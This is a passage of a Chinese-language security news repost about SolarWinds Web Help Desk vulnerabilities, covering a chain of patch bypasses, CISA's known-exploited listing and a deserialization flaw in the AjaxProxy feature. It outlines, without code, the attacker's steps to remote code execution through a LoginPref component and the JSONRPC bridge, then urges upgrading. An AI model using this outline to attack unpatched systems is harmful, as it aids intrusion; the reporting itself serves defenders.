CVE-2025-26399。值得注意的是，CVE-2025-26399 实为针对 CVE-2024-28988 的补丁绕过漏洞，而 CVE-2024-28988 本身又是对 CVE-2024-28986 的补丁绕过漏洞。 + +2024 年末，美国网络安全和基础设施安全局（CISA）已将 CVE-2024-28986 和 CVE-2024-28987 列入其“已知被利用漏洞”（KEV）目录，并指出已有确凿证据表明 +这些漏洞**正遭在野利用** +。 + +Horizon3.ai 的 Sebree 在分析 CVE-2025-40551 的文章中描述称，该漏洞 +是**又一个源于 AjaxProxy 功能的反序列化漏洞** +。 + + +**0****2** + + +**攻击者执行的操作** + +攻击者若要实现远程代码执行，需执行以下一系列操作： + +·  +建立有效会话并提取关键值。 + +·  +创建一个 LoginPref 组件。 + +·  +设置该 LoginPref 组件的状态，以获取文件上传功能的访问权限。 + +·  +利用 JSONRPC 桥接，在后台构造恶意的 Java 对象。 + +·  +触发这些恶意 Java 对象。 + +鉴于 Web Help Desk 过往漏洞曾被恶意利用， +相关用户需尽快将此服务台与 IT 服务管理平台升级至最新版本 +。 + +转载请注明出处@安全威胁纵横，封面来源于网络； + +消息来源：https://thehackernews.com/2026/01/solarwinds-fixes-four-critical-web-help.html + + + + +更多网络安全视频，请关注视频号“知道创宇404实验室” + + + + + + + + +